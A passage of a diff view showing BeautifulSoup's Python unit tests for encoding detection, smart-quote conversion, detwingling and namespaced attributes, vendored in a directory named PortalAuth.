self.assertEqual(soup_from_ascii.original_encoding.lower(), "utf-8")
|
||||
finally:
|
||||
logging.disable(logging.NOTSET)
|
||||
bs4.dammit.chardet_dammit = chardet
|
||||
|
||||
def test_unicode_in_unicode_out(self):
|
||||
# Unicode input is left alone. The original_encoding attribute
|
||||
# is not set.
|
||||
soup_from_unicode = self.soup(self.unicode_data)
|
||||
self.assertEqual(soup_from_unicode.decode(), self.unicode_data)
|
||||
self.assertEqual(soup_from_unicode.foo.string, u'Sacr\xe9 bleu!')
|
||||
self.assertEqual(soup_from_unicode.original_encoding, None)
|
||||
|
||||
def test_utf8_in_unicode_out(self):
|
||||
# UTF-8 input is converted to Unicode. The original_encoding
|
||||
# attribute is set.
|
||||
soup_from_utf8 = self.soup(self.utf8_data)
|
||||
self.assertEqual(soup_from_utf8.decode(), self.unicode_data)
|
||||
self.assertEqual(soup_from_utf8.foo.string, u'Sacr\xe9 bleu!')
|
||||
|
||||
def test_utf8_out(self):
|
||||
# The internal data structures can be encoded as UTF-8.
|
||||
soup_from_unicode = self.soup(self.unicode_data)
|
||||
self.assertEqual(soup_from_unicode.encode('utf-8'), self.utf8_data)
|
||||
|
||||
@skipIf(
|
||||
PYTHON_2_PRE_2_7 or PYTHON_3_PRE_3_2,
|
||||
"Bad HTMLParser detected; skipping test of non-ASCII characters in attribute name.")
|
||||
def test_attribute_name_containing_unicode_characters(self):
|
||||
markup = u'<div><a \N{SNOWMAN}="snowman"></a></div>'
|
||||
self.assertEqual(self.soup(markup).div.encode("utf8"), markup.encode("utf8"))
|
||||
|
||||
class TestUnicodeDammit(unittest.TestCase):
|
||||
"""Standalone tests of UnicodeDammit."""
|
||||
|
||||
def test_unicode_input(self):
|
||||
markup = u"I'm already Unicode! \N{SNOWMAN}"
|
||||
dammit = UnicodeDammit(markup)
|
||||
self.assertEqual(dammit.unicode_markup, markup)
|
||||
|
||||
def test_smart_quotes_to_unicode(self):
|
||||
markup = b"<foo>\x91\x92\x93\x94</foo>"
|
||||
dammit = UnicodeDammit(markup)
|
||||
self.assertEqual(
|
||||
dammit.unicode_markup, u"<foo>\u2018\u2019\u201c\u201d</foo>")
|
||||
|
||||
def test_smart_quotes_to_xml_entities(self):
|
||||
markup = b"<foo>\x91\x92\x93\x94</foo>"
|
||||
dammit = UnicodeDammit(markup, smart_quotes_to="xml")
|
||||
self.assertEqual(
|
||||
dammit.unicode_markup, "<foo>‘’“”</foo>")
|
||||
|
||||
def test_smart_quotes_to_html_entities(self):
|
||||
markup = b"<foo>\x91\x92\x93\x94</foo>"
|
||||
dammit = UnicodeDammit(markup, smart_quotes_to="html")
|
||||
self.assertEqual(
|
||||
dammit.unicode_markup, "<foo>‘’“”</foo>")
|
||||
|
||||
def test_smart_quotes_to_ascii(self):
|
||||
markup = b"<foo>\x91\x92\x93\x94</foo>"
|
||||
dammit = UnicodeDammit(markup, smart_quotes_to="ascii")
|
||||
self.assertEqual(
|
||||
dammit.unicode_markup, """<foo>''""</foo>""")
|
||||
|
||||
def test_detect_utf8(self):
|
||||
utf8 = b"\xc3\xa9"
|
||||
dammit = UnicodeDammit(utf8)
|
||||
self.assertEqual(dammit.unicode_markup, u'\xe9')
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'utf-8')
|
||||
|
||||
def test_convert_hebrew(self):
|
||||
hebrew = b"\xed\xe5\xec\xf9"
|
||||
dammit = UnicodeDammit(hebrew, ["iso-8859-8"])
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'iso-8859-8')
|
||||
self.assertEqual(dammit.unicode_markup, u'\u05dd\u05d5\u05dc\u05e9')
|
||||
|
||||
def test_dont_see_smart_quotes_where_there_are_none(self):
|
||||
utf_8 = b"\343\202\261\343\203\274\343\202\277\343\202\244 Watch"
|
||||
dammit = UnicodeDammit(utf_8)
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'utf-8')
|
||||
self.assertEqual(dammit.unicode_markup.encode("utf-8"), utf_8)
|
||||
|
||||
def test_ignore_inappropriate_codecs(self):
|
||||
utf8_data = u"Räksmörgås".encode("utf-8")
|
||||
dammit = UnicodeDammit(utf8_data, ["iso-8859-8"])
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'utf-8')
|
||||
|
||||
def test_ignore_invalid_codecs(self):
|
||||
utf8_data = u"Räksmörgås".encode("utf-8")
|
||||
for bad_encoding in ['.utf8', '...', 'utF---16.!']:
|
||||
dammit = UnicodeDammit(utf8_data, [bad_encoding])
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'utf-8')
|
||||
|
||||
def test_exclude_encodings(self):
|
||||
# This is UTF-8.
|
||||
utf8_data = u"Räksmörgås".encode("utf-8")
|
||||
|
||||
# But if we exclude UTF-8 from consideration, the guess is
|
||||
# Windows-1252.
|
||||
dammit = UnicodeDammit(utf8_data, exclude_encodings=["utf-8"])
|
||||
self.assertEqual(dammit.original_encoding.lower(), 'windows-1252')
|
||||
|
||||
# And if we exclude that, there is no valid guess at all.
|
||||
dammit = UnicodeDammit(
|
||||
utf8_data, exclude_encodings=["utf-8", "windows-1252"])
|
||||
self.assertEqual(dammit.original_encoding, None)
|
||||
|
||||
def test_encoding_detector_replaces_junk_in_encoding_name_with_replacement_character(self):
|
||||
detected = EncodingDetector(
|
||||
b'<?xml version="1.0" encoding="UTF-\xdb" ?>')
|
||||
encodings = list(detected.encodings)
|
||||
assert u'utf-\N{REPLACEMENT CHARACTER}' in encodings
|
||||
|
||||
def test_detect_html5_style_meta_tag(self):
|
||||
|
||||
for data in (
|
||||
b'<html><meta charset="euc-jp" /></html>',
|
||||
b"<html><meta charset='euc-jp' /></html>",
|
||||
b"<html><meta charset=euc-jp /></html>",
|
||||
b"<html><meta charset=euc-jp/></html>"):
|
||||
dammit = UnicodeDammit(data, is_html=True)
|
||||
self.assertEqual(
|
||||
"euc-jp", dammit.original_encoding)
|
||||
|
||||
def test_last_ditch_entity_replacement(self):
|
||||
# This is a UTF-8 document that contains bytestrings
|
||||
# completely incompatible with UTF-8 (ie. encoded with some other
|
||||
# encoding).
|
||||
#
|
||||
# Since there is no consistent encoding for the document,
|
||||
# Unicode, Dammit will eventually encode the document as UTF-8
|
||||
# and encode the incompatible characters as REPLACEMENT
|
||||
# CHARACTER.
|
||||
#
|
||||
# If chardet is installed, it will detect that the document
|
||||
# can be converted into ISO-8859-1 without errors. This happens
|
||||
# to be the wrong encoding, but it is a consistent encoding, so the
|
||||
# code we're testing here won't run.
|
||||
#
|
||||
# So we temporarily disable chardet if it's present.
|
||||
doc = b"""\357\273\277<?xml version="1.0" encoding="UTF-8"?>
|
||||
<html><b>\330\250\330\252\330\261</b>
|
||||
<i>\310\322\321\220\312\321\355\344</i></html>"""
|
||||
chardet = bs4.dammit.chardet_dammit
|
||||
logging.disable(logging.WARNING)
|
||||
try:
|
||||
def noop(str):
|
||||
return None
|
||||
bs4.dammit.chardet_dammit = noop
|
||||
dammit = UnicodeDammit(doc)
|
||||
self.assertEqual(True, dammit.contains_replacement_characters)
|
||||
self.assertTrue(u"\ufffd" in dammit.unicode_markup)
|
||||
|
||||
soup = BeautifulSoup(doc, "html.parser")
|
||||
self.assertTrue(soup.contains_replacement_characters)
|
||||
finally:
|
||||
logging.disable(logging.NOTSET)
|
||||
bs4.dammit.chardet_dammit = chardet
|
||||
|
||||
def test_byte_order_mark_removed(self):
|
||||
# A document written in UTF-16LE will have its byte order marker stripped.
|
||||
data = b'\xff\xfe<\x00a\x00>\x00\xe1\x00\xe9\x00<\x00/\x00a\x00>\x00'
|
||||
dammit = UnicodeDammit(data)
|
||||
self.assertEqual(u"<a>áé</a>", dammit.unicode_markup)
|
||||
self.assertEqual("utf-16le", dammit.original_encoding)
|
||||
|
||||
def test_detwingle(self):
|
||||
# Here's a UTF8 document.
|
||||
utf8 = (u"\N{SNOWMAN}" * 3).encode("utf8")
|
||||
|
||||
# Here's a Windows-1252 document.
|
||||
windows_1252 = (
|
||||
u"\N{LEFT DOUBLE QUOTATION MARK}Hi, I like Windows!"
|
||||
u"\N{RIGHT DOUBLE QUOTATION MARK}").encode("windows_1252")
|
||||
|
||||
# Through some unholy alchemy, they've been stuck together.
|
||||
doc = utf8 + windows_1252 + utf8
|
||||
|
||||
# The document can't be turned into UTF-8:
|
||||
self.assertRaises(UnicodeDecodeError, doc.decode, "utf8")
|
||||
|
||||
# Unicode, Dammit thinks the whole document is Windows-1252,
|
||||
# and decodes it into "☃☃☃“Hi, I like Windows!”☃☃☃"
|
||||
|
||||
# But if we run it through fix_embedded_windows_1252, it's fixed:
|
||||
|
||||
fixed = UnicodeDammit.detwingle(doc)
|
||||
self.assertEqual(
|
||||
u"☃☃☃“Hi, I like Windows!”☃☃☃", fixed.decode("utf8"))
|
||||
|
||||
def test_detwingle_ignores_multibyte_characters(self):
|
||||
# Each of these characters has a UTF-8 representation ending
|
||||
# in \x93. \x93 is a smart quote if interpreted as
|
||||
# Windows-1252. But our code knows to skip over multibyte
|
||||
# UTF-8 characters, so they'll survive the process unscathed.
|
||||
for tricky_unicode_char in (
|
||||
u"\N{LATIN SMALL LIGATURE OE}", # 2-byte char '\xc5\x93'
|
||||
u"\N{LATIN SUBSCRIPT SMALL LETTER X}", # 3-byte char '\xe2\x82\x93'
|
||||
u"\xf0\x90\x90\x93", # This is a CJK character, not sure which one.
|
||||
):
|
||||
input = tricky_unicode_char.encode("utf8")
|
||||
self.assertTrue(input.endswith(b'\x93'))
|
||||
output = UnicodeDammit.detwingle(input)
|
||||
self.assertEqual(output, input)
|
||||
|
||||
class TestNamedspacedAttribute(SoupTest):
|
||||
|
||||
def test_name_may_be_none(self):
|
||||
a = NamespacedAttribute("xmlns", None)
|
||||
self.assertEqual(a, "xmlns")
|
||||
|
||||
def test_attribute_is_equivalent_to_colon_separated_string(self):
|
||||
a = NamespacedAttribute("a", "b")
|
||||
self.assertEqual("a:b", a)
|
||||
|
||||
def test_attributes_are_equivalent_if_prefix_and_name_identical(self):
|
||||
a = NamespacedAttribute("a", "b", "c")
|
||||
b = NamespacedAttribute("a", "b", "c")
|
||||
self.assertEqual(a, b)
|
||||
|
||||
# The actual namespace is not considered.
|
||||
c = NamespacedAttribute("a", "b", None)
|
||||
self.assertEqual(a, c)
|
||||
|
||||
# But name and prefix are important.
|
||||
d = NamespacedAttribute("a", "z", "c")
|
||||
self.assertNotEqual(a, d)
|
||||
|
||||
e = NamespacedAttribute("z", "b", "c")
|
||||
self.assertNotEqual(a, e)
|
||||
|
||||
|
||||
class TestAttributeValueWithCharsetSubstitution(unittest.TestCase):
|
||||
|
||||
def test_content_meta_attribute_value(self):
|
||||
value = CharsetMetaAttributeValue("euc-jp")
|
||||
self.assertEqual("euc-jp", value)
|
||||
self.assertEqual("euc-jp", value.original_value)
|
||||
self.assertEqual("utf8", value.encode("utf8"))
|
||||
|
||||
|
||||
def test_content_meta_attribute_value(self):
|
||||
value = ContentMetaAttributeValue("text/html; charset=euc-jp")
|
||||
self.assertEqual("text/html; charset=euc-jp", value)
|
||||
self.assertEqual("text/html; charset=euc-jp", value.original_value)
|
||||
self.assertEqual("text/html; charset=utf8", value.encode("utf8"))
|
||||
1979
PortalAuth/includes/scripts/libs/bs4/tests/test_tree.py
Executable file
1979
PortalAuth/includes/scripts/libs/bs4/tests/test_tree.py
Executable file
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user